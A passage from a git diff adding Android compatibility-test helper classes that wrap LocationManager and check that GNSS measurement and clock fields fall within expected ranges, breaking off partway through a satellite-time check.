+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.common;
+
+import junit.framework.Assert;
+
+import android.util.Log;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Custom Assertion class. This is useful for doing multiple validations together
+ * without failing the test. Tests don’t stop running even if an assertion condition fails,
+ * but the test itself is marked as a failed test to indicate the right result
+ * at the end of the test.
+ */
+public class SoftAssert {
+
+    List<String> mErrorList;
+    private String mTag;
+
+    public SoftAssert(String source) {
+        mErrorList = new ArrayList<>();
+        mTag = source;
+    }
+
+    /**
+     * Check if condition is true
+     *
+     * @param message        test message
+     * @param eventTimeInNs  the time at which the condition occurred
+     * @param expectedResult expected value
+     * @param actualResult   actual value
+     * @param condition      condition for test
+     */
+    public void assertTrue(String message, Long eventTimeInNs, String expectedResult,
+                           String actualResult, boolean condition) {
+        if (condition) {
+            Log.i(mTag, message + ", (Test: PASS, actual : " +
+                    actualResult + ", expected: " + expectedResult + ")");
+        } else {
+            String errorMessage = "";
+            if (eventTimeInNs != null) {
+                errorMessage = "At time = " + eventTimeInNs + " ns, ";
+            }
+            errorMessage += message +
+                    " (Test: FAIL, actual :" + actualResult + ", " +
+                    "expected: " + expectedResult + ")";
+            Log.e(mTag, errorMessage);
+            mErrorList.add(errorMessage);
+        }
+    }
+
+    /**
+     * assertTrue without eventTime
+     *
+     * @param message        test message
+     * @param expectedResult expected value
+     * @param actualResult   actual value
+     * @param condition      condition for test
+     */
+    public void assertTrue(String message, String expectedResult,
+        String actualResult, boolean condition) {
+        assertTrue(message, null, expectedResult, actualResult, condition);
+    }
+
+    /**
+     * Check if a condition is true.
+     * NOTE: A failure is downgraded to a warning.
+     *
+     * @param message        the message associated with the condition
+     * @param eventTimeInNs  the time at which the condition occurred
+     * @param expectedResult the expected result of the condition
+     * @param actualResult   the actual result of the condition
+     * @param condition      the condition status
+     */
+    public void assertTrueAsWarning(
+            String message,
+            long eventTimeInNs,
+            String expectedResult,
+            String actualResult,
+            boolean condition) {
+        if (condition) {
+            String formattedMessage = String.format(
+                    "%s, (Test: PASS, actual : %s, expected : %s)",
+                    message,
+                    actualResult,
+                    expectedResult);
+            Log.i(mTag, formattedMessage);
+        } else {
+            String formattedMessage = String.format(
+                    "At time = %d ns, %s (Test: WARNING, actual : %s, expected : %s).",
+                    eventTimeInNs,
+                    message,
+                    actualResult,
+                    expectedResult);
+            failAsWarning(mTag, formattedMessage);
+        }
+    }
+
+    /**
+     * Check if condition is true
+     *
+     * @param message   test message
+     * @param condition condition for test
+     */
+    public void assertTrue(String message, boolean condition) {
+        assertOrWarnTrue(true, message, condition);
+    }
+
+    /**
+     * Check if condition is true
+     *
+     * @param strict      if true, add this to the failure list, else, log a warning message
+     * @param message     message to describe the test - output on pass or fail
+     * @param condition   condition for test
+     */
+    public void assertOrWarnTrue(boolean strict, String message, boolean condition) {
+        if (condition) {
+            Log.i(mTag, "(Test: PASS) " + message);
+        } else {
+            String errorMessage = "(Test: FAIL) " + message;
+            Log.i(mTag, errorMessage);
+            if (strict) {
+                mErrorList.add(errorMessage);
+            } else {
+                failAsWarning(mTag, errorMessage);
+            }
+        }
+    }
+
+    /**
+     * Assert all conditions together. This method collates all the failures and decides
+     * whether to fail the test or not at the end. This must be called at the end of the test.
+     */
+    public void assertAll() {
+        if (mErrorList.isEmpty()) {
+            Log.i(mTag, "All test pass.");
+            // Test pass if there are no error message in errorMessageSet
+            Assert.assertTrue(true);
+        } else {
+            StringBuilder message = new StringBuilder();
+            for (String msg : mErrorList) {
+                message.append(msg + "\n");
+            }
+            Log.e(mTag, "Failing tests are: \n" + message);
+            Assert.fail("Failing tests are: \n" + message);
+        }
+    }
+
+    /**
+     * A hard or soft failure, depending on the setting.
+     * TODO - make this cleaner - e.g. refactor this out completely: get rid of static methods,
+     * and make a class (say TestVerification) the only entry point for verifications,
+     * so strict vs not can be abstracted away test implementations.
+     */
+    public static void failOrWarning(boolean testIsStrict, String message, boolean condition) {
+        if (testIsStrict) {
+            Assert.assertTrue(message, condition);
+        } else {
+            if (!condition) {
+                failAsWarning("", message);
+            }
+        }
+    }
+
+    /**
+     * A soft failure. In the current state of the tests, it will only log a warning and let the
+     * test be reported as 'pass'.
+     */
+    public static void failAsWarning(String tag, String message) {
+        Log.w(tag, message + " [NOTE: in a future release this feature might become mandatory, and"
+                + " this warning will fail the test].");
+    }
+}
diff --git a/tests/location/common/src/android/location/cts/common/TestLocationManager.java b/tests/location/common/src/android/location/cts/common/TestLocationManager.java
new file mode 100644
index 0000000..de13864
--- /dev/null
+++ b/tests/location/common/src/android/location/cts/common/TestLocationManager.java
@@ -0,0 +1,247 @@
+/*
+ * Copyright (C) 2015 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.common;
+
+import android.content.Context;
+import android.location.GnssMeasurementsEvent;
+import android.location.GnssNavigationMessage;
+import android.location.GnssStatus;
+import android.location.LocationListener;
+import android.location.LocationManager;
+import android.os.Handler;
+import android.os.Looper;
+import android.util.Log;
+
+import junit.framework.Assert;
+
+/**
+ * A {@code LocationManager} wrapper that logs GNSS turn-on and turn-off.
+ */
+public class TestLocationManager {
+
+    private static final String TAG = "TestLocationManager";
+    private LocationManager mLocationManager;
+    private Context mContext;
+
+    public TestLocationManager(Context context) {
+        mContext = context;
+        mLocationManager =
+                (LocationManager) mContext.getSystemService(Context.LOCATION_SERVICE);
+    }
+
+    /**
+     * See {@code LocationManager#removeUpdates(LocationListener)}.
+     *
+     * @param listener the listener to remove
+     */
+    public void removeLocationUpdates(LocationListener listener) {
+        Log.i(TAG, "Remove Location updates.");
+        mLocationManager.removeUpdates(listener);
+    }
+
+    /**
+     * See {@link android.location.LocationManager#registerGnssMeasurementsCallback
+     * (GnssMeasurementsEvent.Callback callback)}
+     *
+     * @param callback the listener to add
+     */
+    public void registerGnssMeasurementCallback(GnssMeasurementsEvent.Callback callback) {
+        Log.i(TAG, "Add Gnss Measurement Callback.");
+        boolean measurementListenerAdded =
+                mLocationManager.registerGnssMeasurementsCallback(callback);
+        if (!measurementListenerAdded) {
+            // Registration of GnssMeasurements listener has failed, this indicates a platform bug.
+            Log.i(TAG, TestMeasurementUtil.REGISTRATION_ERROR_MESSAGE);
+            Assert.fail(TestMeasurementUtil.REGISTRATION_ERROR_MESSAGE);
+        }
+    }
+
+    /**
+     * See {@link android.location.LocationManager#registerGnssMeasurementsCallback(GnssMeasurementsEvent.Callback callback)}
+     *
+     * @param callback the listener to add
+     * @param handler the handler that the callback runs at.
+     */
+    public void registerGnssMeasurementCallback(GnssMeasurementsEvent.Callback callback,
+            Handler handler) {
+        Log.i(TAG, "Add Gnss Measurement Callback.");
+        boolean measurementListenerAdded =
+                mLocationManager.registerGnssMeasurementsCallback(callback, handler);
+        if (!measurementListenerAdded) {
+            // Registration of GnssMeasurements listener has failed, this indicates a platform bug.
+            Log.i(TAG, TestMeasurementUtil.REGISTRATION_ERROR_MESSAGE);
+            Assert.fail(TestMeasurementUtil.REGISTRATION_ERROR_MESSAGE);
+        }
+    }
+
+    /**
+     * See {@link android.location.LocationManager#unregisterGnssMeasurementsCallback
+     * (GnssMeasurementsEvent.Callback)}.
+     *
+     * @param callback the listener to remove
+     */
+    public void unregisterGnssMeasurementCallback(GnssMeasurementsEvent.Callback callback) {
+        Log.i(TAG, "Remove Gnss Measurement Callback.");
+        mLocationManager.unregisterGnssMeasurementsCallback(callback);
+    }
+
+    /**
+     * See {@code LocationManager#requestLocationUpdates}.
+     *
+     * @param locationListener location listener for request
+     */
+    public void requestLocationUpdates(LocationListener locationListener, int minTimeMsec) {
+        if (mLocationManager.getProvider(LocationManager.GPS_PROVIDER) != null) {
+            Log.i(TAG, "Request Location updates.");
+            mLocationManager.requestLocationUpdates(LocationManager.GPS_PROVIDER,
+                    minTimeMsec,
+                    0 /* minDistance */,
+                    locationListener,
+                    Looper.getMainLooper());
+        }
+    }
+
+    /**
+     * See {@code LocationManager#requestLocationUpdates}.
+     *
+     * @param locationListener location listener for request
+     */
+    public void requestLocationUpdates(LocationListener locationListener) {
+        requestLocationUpdates(locationListener, 0 /* minTimeMsec */);
+    }
+
+    /**
+     * See {@code LocationManager#requestNetworkLocationUpdates}.
+     *
+     * @param locationListener location listener for request
+     */
+    public void requestNetworkLocationUpdates(LocationListener locationListener) {
+        if (mLocationManager.getProvider(LocationManager.NETWORK_PROVIDER) != null) {
+            Log.i(TAG, "Request Network Location updates.");
+            mLocationManager.requestLocationUpdates(LocationManager.NETWORK_PROVIDER,
+                0 /* minTime*/,
+                0 /* minDistance */,
+                locationListener,
+                Looper.getMainLooper());
+        }
+    }
+
+    /**
+     * See {@code LocationManager#requestLocationUpdates}.
+     *
+     * @param locationListener location listener for request
+     */
+    public void requestPassiveLocationUpdates(LocationListener locationListener, int minTimeMsec) {
+        if (mLocationManager.getProvider(LocationManager.PASSIVE_PROVIDER) != null) {
+            Log.i(TAG, "Request Passive Location updates.");
+            mLocationManager.requestLocationUpdates(LocationManager.PASSIVE_PROVIDER,
+                    minTimeMsec,
+                    0 /* minDistance */,
+                    locationListener,
+                    Looper.getMainLooper());
+        }
+    }
+
+    /**
+     * See {@link android.location.LocationManager#sendExtraCommand}.
+     *
+     * @param command name of the command to send to the provider.
+     *
+     * @return true if the command succeeds.
+     */
+    public boolean sendExtraCommand(String command) {
+        Log.i(TAG, "Send Extra Command = " + command);
+        boolean extraCommandStatus = mLocationManager.sendExtraCommand(LocationManager.GPS_PROVIDER,
+                command, null);
+        Log.i(TAG, "Sent extra command (" + command + ") status = " + extraCommandStatus);
+        return extraCommandStatus;
+    }
+
+    /**
+     * Add a GNSS Navigation Message callback.
+     *
+     * @param callback a {@link GnssNavigationMessage.Callback} object to register.
+     * @return {@code true} if the listener was added successfully, {@code false} otherwise.
+     */
+    public boolean registerGnssNavigationMessageCallback(
+            GnssNavigationMessage.Callback callback) {
+        Log.i(TAG, "Add Gnss Navigation Message Callback.");
+        return mLocationManager.registerGnssNavigationMessageCallback(callback);
+    }
+
+    /**
+     * Add a GNSS Navigation Message callback.
+     *
+     * @param callback a {@link GnssNavigationMessage.Callback} object to register.
+     * @param handler the handler that the callback runs at.
+     * @return {@code true} if the listener was added successfully, {@code false} otherwise.
+     */
+    public boolean registerGnssNavigationMessageCallback(
+            GnssNavigationMessage.Callback callback, Handler handler) {
+        Log.i(TAG, "Add Gnss Navigation Message Callback.");
+        return mLocationManager.registerGnssNavigationMessageCallback(callback, handler);
+    }
+
+    /**
+     * Removes a GNSS Navigation Message callback.
+     *
+     * @param callback a {@link GnssNavigationMessage.Callback} object to remove.
+     */
+    public void unregisterGnssNavigationMessageCallback(GnssNavigationMessage.Callback callback) {
+        Log.i(TAG, "Remove Gnss Navigation Message Callback.");
+        mLocationManager.unregisterGnssNavigationMessageCallback(callback);
+    }
+
+    /**
+     * Add a GNSS Status callback.
+     *
+     * @param callback a {@link GnssStatus.Callback} object to register.
+     * @return {@code true} if the listener was added successfully, {@code false} otherwise.
+     */
+    public boolean registerGnssStatusCallback(GnssStatus.Callback callback) {
+        Log.i(TAG, "Add Gnss Status Callback.");
+        return mLocationManager.registerGnssStatusCallback(
+            callback, new Handler(Looper.getMainLooper()));
+    }
+
+    /**
+     * Removes a GNSS Status callback.
+     *
+     * @param callback a {@link GnssStatus.Callback} object to remove.
+     */
+    public void unregisterGnssStatusCallback(GnssStatus.Callback callback) {
+        Log.i(TAG, "Remove Gnss Status Callback.");
+        mLocationManager.unregisterGnssStatusCallback(callback);
+    }
+
+    /**
+     * Get LocationManager
+     *
+     * @return locationManager
+     */
+    public LocationManager getLocationManager() {
+        return mLocationManager;
+    }
+    /**
+     * Get Context
+     *
+     * @return context
+     */
+    public Context getContext() {
+        return mContext;
+    }
+}
diff --git a/tests/location/common/src/android/location/cts/common/TestMeasurementUtil.java b/tests/location/common/src/android/location/cts/common/TestMeasurementUtil.java
new file mode 100644
index 0000000..ae23c6e
--- /dev/null
+++ b/tests/location/common/src/android/location/cts/common/TestMeasurementUtil.java
@@ -0,0 +1,877 @@
+/*
+ * Copyright (C) 2015 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.common;
+
+import android.location.GnssClock;
+import android.location.GnssMeasurement;
+import android.location.GnssMeasurementsEvent;
+import android.location.GnssNavigationMessage;
+import android.location.GnssStatus;
+import android.location.LocationManager;
+import android.os.Build;
+import android.os.SystemProperties;
+import android.util.Log;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Helper class for GnssMeasurement Tests.
+ */
+public final class TestMeasurementUtil {
+
+    private static final String TAG = "TestMeasurementUtil";
+
+    private static final long NSEC_IN_SEC = 1000_000_000L;
+    // Generally carrier phase quality prr's have uncertainties around 0.001-0.05 m/s, vs.
+    // doppler energy quality prr's closer to 0.25-10 m/s.  Threshold is chosen between those
+    // typical ranges.
+    private static final float THRESHOLD_FOR_CARRIER_PRR_UNC_METERS_PER_SEC = 0.15F;
+
+    // For gpsTimeInNs >= 1.14 * 10^18 (year 2016+)
+    private static final long GPS_TIME_YEAR_2016_IN_NSEC = 1_140_000_000L * NSEC_IN_SEC;
+
+    // Error message for GnssMeasurements Registration.
+    public static final String REGISTRATION_ERROR_MESSAGE = "Registration of GnssMeasurements" +
+            " listener has failed, this indicates a platform bug. Please report the issue with" +
+            " a full bugreport.";
+
+    private enum GnssBand {
+        GNSS_L1,
+        GNSS_L2,
+        GNSS_L5,
+        GNSS_E6
+    }
+
+    // The valid Gnss navigation message type as listed in
+    // android/hardware/libhardware/include/hardware/gps.h
+    public static final Set<Integer> GNSS_NAVIGATION_MESSAGE_TYPE =
+        new HashSet<Integer>(Arrays.asList(
+            GnssNavigationMessage.TYPE_UNKNOWN,
+            GnssNavigationMessage.TYPE_GPS_L1CA,
+            GnssNavigationMessage.TYPE_GPS_L2CNAV,
+            GnssNavigationMessage.TYPE_GPS_L5CNAV,
+            GnssNavigationMessage.TYPE_GPS_CNAV2,
+            GnssNavigationMessage.TYPE_GLO_L1CA,
+            GnssNavigationMessage.TYPE_BDS_D1,
+            GnssNavigationMessage.TYPE_BDS_D2,
+            GnssNavigationMessage.TYPE_GAL_I,
+            GnssNavigationMessage.TYPE_GAL_F
+        ));
+
+    /**
+     * Check if test can be run on the current device.
+     *
+     * @param  testLocationManager TestLocationManager
+     * @return true if Build.VERSION &gt;=  Build.VERSION_CODES.N and Location GPS present on
+     *         device.
+     */
+    public static boolean canTestRunOnCurrentDevice(TestLocationManager testLocationManager,
+            boolean isCtsVerifier) {
+       if (ApiLevelUtil.isBefore(Build.VERSION_CODES.N)) {
+            Log.i(TAG, "This test is designed to work on N or newer. " +
+                    "Test is being skipped because the platform version is being run in " +
+                    ApiLevelUtil.getApiLevel());
+            return false;
+        }
+
+        // If device does not have a GPS, skip the test.
+        if (!TestUtils.deviceHasGpsFeature(testLocationManager.getContext())) {
+           return false;
+        }
+
+        // If device has a GPS, but it's turned off in settings, and this is CTS verifier,
+        // fail the test now, because there's no point in going further.
+        // If this is CTS only,we'll warn instead, and quickly pass the test.
+        // (Cts non-verifier deep-indoors-forgiveness happens later, *if* needed)
+        boolean gpsProviderEnabled = testLocationManager.getLocationManager()
+                .isProviderEnabled(LocationManager.GPS_PROVIDER);
+        SoftAssert.failOrWarning(isCtsVerifier, " GPS location disabled on the device. " +
+                "Enable location in settings to continue test.", gpsProviderEnabled);
+        // If CTS only, allow an early exit pass
+        if (!isCtsVerifier && !gpsProviderEnabled) {
+            return false;
+        }
+
+        return true;
+    }
+
+    /**
+     * Check if pseudorange rate uncertainty in Gnss Measurement is in the expected range.
+     * See field description in {@code gps.h}.
+     *
+     * @param measurement GnssMeasurement
+     * @return true if this measurement has prr uncertainty in a range indicative of carrier phase
+     */
+    public static boolean gnssMeasurementHasCarrierPhasePrr(GnssMeasurement measurement) {
+      return (measurement.getPseudorangeRateUncertaintyMetersPerSecond() <
+              THRESHOLD_FOR_CARRIER_PRR_UNC_METERS_PER_SEC);
+    }
+
+    /**
+     * Assert all mandatory fields in Gnss Clock are in expected range.
+     * See mandatory fields in {@code gps.h}.
+     *
+     * @param clock       GnssClock
+     * @param softAssert  custom SoftAssert
+     * @param timeInNs    event time in ns
+     */
+    public static void assertGnssClockFields(GnssClock clock,
+                                             SoftAssert softAssert,
+                                             long timeInNs) {
+        softAssert.assertTrue("time_ns: clock value",
+                timeInNs,
+                "X >= 0",
+                String.valueOf(timeInNs),
+                timeInNs >= 0L);
+
+        // If full bias is valid and accurate within one sec. verify its sign & magnitude
+        if (clock.hasFullBiasNanos() &&
+                ((!clock.hasBiasUncertaintyNanos()) ||
+                        (clock.getBiasUncertaintyNanos() < NSEC_IN_SEC))) {
+            long gpsTimeInNs = timeInNs - clock.getFullBiasNanos();
+            softAssert.assertTrue("TimeNanos - FullBiasNanos = GpsTimeNanos: clock value",
+                    gpsTimeInNs,
+                    "gpsTimeInNs >= 1.14 * 10^18 (year 2016+)",
+                    String.valueOf(gpsTimeInNs),
+                    gpsTimeInNs >= GPS_TIME_YEAR_2016_IN_NSEC);
+        }
+    }
+
+    /**
+     * Asserts the same FullBiasNanos of multiple GnssMeasurementEvents at the same time epoch.
+     *
+     * <p>FullBiasNanos denotes the receiver clock bias calculated by the GNSS chipset. If multiple
+     * GnssMeasurementEvents are tagged with the same time epoch, their FullBiasNanos should be the
+     * same.
+     *
+     * @param softAssert custom SoftAssert
+     * @param events     GnssMeasurementEvents. Each event includes one GnssClock with a
+     *                   fullBiasNanos.
+     */
+    public static void assertGnssClockHasConsistentFullBiasNanos(SoftAssert softAssert,
+            List<GnssMeasurementsEvent> events) {
+        Map<Long, List<Long>> timeToFullBiasList = new HashMap<>();
+        for (GnssMeasurementsEvent event : events) {
+            long timeNanos = event.getClock().getTimeNanos();
+            long fullBiasNanos = event.getClock().getFullBiasNanos();
+
+            timeToFullBiasList.putIfAbsent(timeNanos, new ArrayList<>());
+            List<Long> fullBiasNanosList = timeToFullBiasList.get(timeNanos);
+            fullBiasNanosList.add(fullBiasNanos);
+        }
+
+        for (Map.Entry<Long, List<Long>> entry : timeToFullBiasList.entrySet()) {
+            long timeNanos = entry.getKey();
+            List<Long> fullBiasNanosList = entry.getValue();
+            if (fullBiasNanosList.size() < 2) {
+                continue;
+            }
+            long fullBiasNanos = fullBiasNanosList.get(0);
+            for (int i = 1; i < fullBiasNanosList.size(); i++) {
+                softAssert.assertTrue("FullBiasNanos are the same at the same timeNanos",
+                        timeNanos,
+                        "fullBiasNanosList.get(i) - fullBiasNanosList.get(0) == 0",
+                        String.valueOf(fullBiasNanosList.get(i) - fullBiasNanos),
+                        fullBiasNanosList.get(i) - fullBiasNanos == 0);
+            }
+        }
+    }
+
+    /**
+     * Assert all mandatory fields in Gnss Measurement are in expected range.
+     * See mandatory fields in {@code gps.h}.
+     *
+     * @param testLocationManager TestLocationManager
+     * @param measurement GnssMeasurement
+     * @param softAssert  custom SoftAssert
+     * @param timeInNs    event time in ns
+     */
+    public static void assertAllGnssMeasurementMandatoryFields(
+        TestLocationManager testLocationManager, GnssMeasurement measurement,
+        SoftAssert softAssert, long timeInNs) {
+
+        verifySvid(measurement, softAssert, timeInNs);
+        verifyReceivedSatelliteVehicleTimeInNs(measurement, softAssert, timeInNs);
+        verifyAccumulatedDeltaRanges(measurement, softAssert, timeInNs);
+
+        int state = measurement.getState();
+        softAssert.assertTrue("state: Satellite code sync state",
+                timeInNs,
+                "X >= 0",
+                String.valueOf(state),
+                state >= 0);
+
+        // Check received_gps_tow_uncertainty_ns
+        softAssert.assertTrueAsWarning("received_gps_tow_uncertainty_ns:" +
+                        " Uncertainty of received GPS Time-of-Week in ns",
+                timeInNs,
+                "X > 0",
+                String.valueOf(measurement.getReceivedSvTimeUncertaintyNanos()),
+                measurement.getReceivedSvTimeUncertaintyNanos() > 0L);
+
+        long timeOffsetInSec = TimeUnit.NANOSECONDS.toSeconds(
+                (long) measurement.getTimeOffsetNanos());
+        softAssert.assertTrue("time_offset_ns: Time offset",
+                timeInNs,
+                "-100 seconds < X < +10 seconds",
+                String.valueOf(measurement.getTimeOffsetNanos()),
+                (-100 < timeOffsetInSec) && (timeOffsetInSec < 10));
+
+        softAssert.assertTrue("c_n0_dbhz: Carrier-to-noise density",
+                timeInNs,
+                "0.0 >= X <=63",
+                String.valueOf(measurement.getCn0DbHz()),
+                measurement.getCn0DbHz() >= 0.0 &&
+                        measurement.getCn0DbHz() <= 63.0);
+
+        softAssert.assertTrue("pseudorange_rate_uncertainty_mps: " +
+                        "Pseudorange Rate Uncertainty in m/s",
+                timeInNs,
+                "X > 0.0",
+                String.valueOf(
+                        measurement.getPseudorangeRateUncertaintyMetersPerSecond()),
+                measurement.getPseudorangeRateUncertaintyMetersPerSecond() > 0.0);
+
+        verifyGnssCarrierFrequency(softAssert, testLocationManager,
+                measurement.hasCarrierFrequencyHz(),
+                measurement.hasCarrierFrequencyHz() ? measurement.getCarrierFrequencyHz() : 0F);
+
+        // Check carrier_phase.
+        if (measurement.hasCarrierPhase()) {
+            softAssert.assertTrue("carrier_phase: Carrier phase",
+                    timeInNs,
+                    "0.0 >= X <= 1.0",
+                    String.valueOf(measurement.getCarrierPhase()),
+                    measurement.getCarrierPhase() >= 0.0 && measurement.getCarrierPhase() <= 1.0);
+        }
+
+        // Check carrier_phase_uncertainty..
+        if (measurement.hasCarrierPhaseUncertainty()) {
+            softAssert.assertTrue("carrier_phase_uncertainty: 1-Sigma uncertainty of the " +
+                            "carrier-phase",
+                    timeInNs,
+                    "X > 0.0",
+                    String.valueOf(measurement.getCarrierPhaseUncertainty()),
+                    measurement.getCarrierPhaseUncertainty() > 0.0);
+        }
+
+        // Check GNSS Measurement's multipath_indicator.
+        softAssert.assertTrue("multipath_indicator: GNSS Measurement's multipath indicator",
+                timeInNs,
+                "0 >= X <= 2",
+                String.valueOf(measurement.getMultipathIndicator()),
+                measurement.getMultipathIndicator() >= 0
+                        && measurement.getMultipathIndicator() <= 2);
+
+
+        // Check Signal-to-Noise ratio (SNR).
+        if (measurement.hasSnrInDb()) {
+            softAssert.assertTrue("snr: Signal-to-Noise ratio (SNR) in dB",
+                    timeInNs,
+                    "0.0 >= X <= 63",
+                    String.valueOf(measurement.getSnrInDb()),
+                    measurement.getSnrInDb() >= 0.0 && measurement.getSnrInDb() <= 63);
+        }
+
+        if (measurement.hasAutomaticGainControlLevelDb()) {
+            softAssert.assertTrue("Automatic Gain Control level in dB",
+                timeInNs,
+                "-100 >= X <= 100",
+                String.valueOf(measurement.getAutomaticGainControlLevelDb()),
+                measurement.getAutomaticGainControlLevelDb() >= -100
+                    && measurement.getAutomaticGainControlLevelDb() <= 100);
+        }
+
+    }
+
+    /**
+     * Verify accumulated delta ranges are in expected range.
+     *
+     * @param measurement GnssMeasurement
+     * @param softAssert  custom SoftAssert
+     * @param timeInNs    event time in ns
+     */
+    private static void verifyAccumulatedDeltaRanges(GnssMeasurement measurement,
+        SoftAssert softAssert, long timeInNs) {
+
+        int accumulatedDeltaRangeState = measurement.getAccumulatedDeltaRangeState();
+        softAssert.assertTrue("accumulated_delta_range_state: " +
+                "Accumulated delta range state",
+                timeInNs,
+                "X & ~ADR_STATE_ALL == 0",
+                String.valueOf(accumulatedDeltaRangeState),
+                (accumulatedDeltaRangeState & ~GnssMeasurement.ADR_STATE_ALL) == 0);
+        softAssert.assertTrue("accumulated_delta_range_state: " +
+                "Accumulated delta range state",
+                timeInNs,
+                "ADR_STATE_HALF_CYCLE_REPORTED, or !ADR_STATE_HALF_CYCLE_RESOLVED",
+                String.valueOf(accumulatedDeltaRangeState),
+                ((accumulatedDeltaRangeState &
+                  GnssMeasurement.ADR_STATE_HALF_CYCLE_REPORTED) != 0) ||
+                 (accumulatedDeltaRangeState &
+                  GnssMeasurement.ADR_STATE_HALF_CYCLE_RESOLVED) == 0);
+        if ((accumulatedDeltaRangeState & GnssMeasurement.ADR_STATE_VALID) != 0) {
+            double accumulatedDeltaRangeInMeters =
+                    measurement.getAccumulatedDeltaRangeMeters();
+            softAssert.assertTrue("accumulated_delta_range_m: " +
+                    "Accumulated delta range in meter",
+                    timeInNs,
+                    "X != 0.0",
+                    String.valueOf(accumulatedDeltaRangeInMeters),
+                    accumulatedDeltaRangeInMeters != 0.0);
+            double accumulatedDeltaRangeUncertainty =
+                    measurement.getAccumulatedDeltaRangeUncertaintyMeters();
+            softAssert.assertTrue("accumulated_delta_range_uncertainty_m: " +
+                    "Accumulated delta range uncertainty in meter",
+                    timeInNs,
+                    "X > 0.0",
+                    String.valueOf(accumulatedDeltaRangeUncertainty),
+                    accumulatedDeltaRangeUncertainty > 0.0);
+        }
+    }
+
+    /**
+     * Verify svid's are in expected range.
+     *
+     * @param measurement GnssMeasurement
+     * @param softAssert  custom SoftAssert
+     * @param timeInNs    event time in ns
+     */
+    private static void verifySvid(GnssMeasurement measurement, SoftAssert softAssert,
+        long timeInNs) {
+
+        int constellationType = measurement.getConstellationType();
+        int svid = measurement.getSvid();
+        validateSvidSub(softAssert, timeInNs, constellationType, svid);
+    }
+
+    public static void validateSvidSub(SoftAssert softAssert, Long timeInNs,
+        int constellationType, int svid) {
+
+        String svidValue = String.valueOf(svid);
+
+        switch (constellationType) {
+            case GnssStatus.CONSTELLATION_GPS:
+                softAssert.assertTrue("svid: Space Vehicle ID. Constellation type " +
+                                "= CONSTELLATION_GPS",
+                        timeInNs,
+                        "[1, 32]",
+                        svidValue,
+                        svid > 0 && svid <= 32);
+                break;
+            case GnssStatus.CONSTELLATION_SBAS:
+                softAssert.assertTrue("svid: Space Vehicle ID. Constellation type " +
+                                "= CONSTELLATION_SBAS",
+                        timeInNs,
+                        "120 <= X <= 192",
+                        svidValue,
+                        svid >= 120 && svid <= 192);
+                break;
+            case GnssStatus.CONSTELLATION_GLONASS:
+                softAssert.assertTrue("svid: Slot ID, or if unknown, Frequency + 100 (93-106). " +
+                                "Constellation type = CONSTELLATION_GLONASS",
+                        timeInNs,
+                        "1 <= svid <= 24 || 93 <= svid <= 106",
+                        svidValue,
+                        (svid >= 1 && svid <= 24) || (svid >= 93 && svid <= 106));
+                break;
+            case GnssStatus.CONSTELLATION_QZSS:
+                softAssert.assertTrue("svid: Space Vehicle ID. Constellation type " +
+                                "= CONSTELLATION_QZSS",
+                        timeInNs,
+                        "193 <= X <= 200",
+                        svidValue,
+                        svid >= 193 && svid <= 200);
+                break;
+            case GnssStatus.CONSTELLATION_BEIDOU:
+                softAssert.assertTrue("svid: Space Vehicle ID. Constellation type " +
+                                "= CONSTELLATION_BEIDOU",
+                        timeInNs,
+                        "1 <= X <= 63",
+                        svidValue,
+                        svid >= 1 && svid <= 63);
+                break;
+            case GnssStatus.CONSTELLATION_GALILEO:
+                softAssert.assertTrue("svid: Space Vehicle ID. Constellation type " +
+                                "= CONSTELLATION_GALILEO",
+                        timeInNs,
+                        "1 <= X <= 36",
+                        String.valueOf(svid),
+                        svid >= 1 && svid <= 36);
+                break;
+            default:
+                // Explicit fail if did not receive valid constellation type.
+                softAssert.assertTrue("svid: Space Vehicle ID. Did not receive any valid " +
+                                "constellation type.",
+                        timeInNs,
+                        "Valid constellation type.",
+                        svidValue,
+                        false);
+                break;
+        }
+    }
+
+    /**
+     * Verify sv times are in expected range.
+     *
+     * @param measurement GnssMeasurement
+     * @param softAssert  custom SoftAssert
+     * @param timeInNs    event time in ns
+     * */
+    private static void verifyReceivedSatelliteVehicleTimeInNs(GnssMeasurement measurement,
+        SoftAssert softAssert, long timeInNs) {
+
+        int constellationType = measurement.getConstellationType();
+        int state = measurement.getState();
+        long received_sv_time_ns = measurement.getReceivedSvTimeNanos();
+        double sv_time_ms = TimeUnit.NANOSECONDS.toMillis(received_sv_time_ns);
+        double sv_time_sec = TimeUnit.NANOSECONDS.toSeconds(received_sv_time_ns);
+        double sv_time_days = TimeUnit.NANOSECONDS.toDays(received_sv_time_ns);
+
+        // Check ranges for received_sv_time_ns for given Gps State
+        if (state == 0) {
+            softAssert.assertTrue("received_sv_time_ns:" +
+                            " Received SV Time-of-Week in ns." +
+                            " GNSS_MEASUREMENT_STATE_UNKNOWN.",
+                    timeInNs,
+                    "X == 0",
+                    String.valueOf(received_sv_time_ns),
+                    sv_time_ms == 0);
+        }
+
+        switch (constellationType) {
+            case GnssStatus.CONSTELLATION_GPS:
+                verifyGpsQzssSvTimes(measurement, softAssert, timeInNs, state, "CONSTELLATION_GPS");
+                break;
+            case GnssStatus.CONSTELLATION_QZSS:
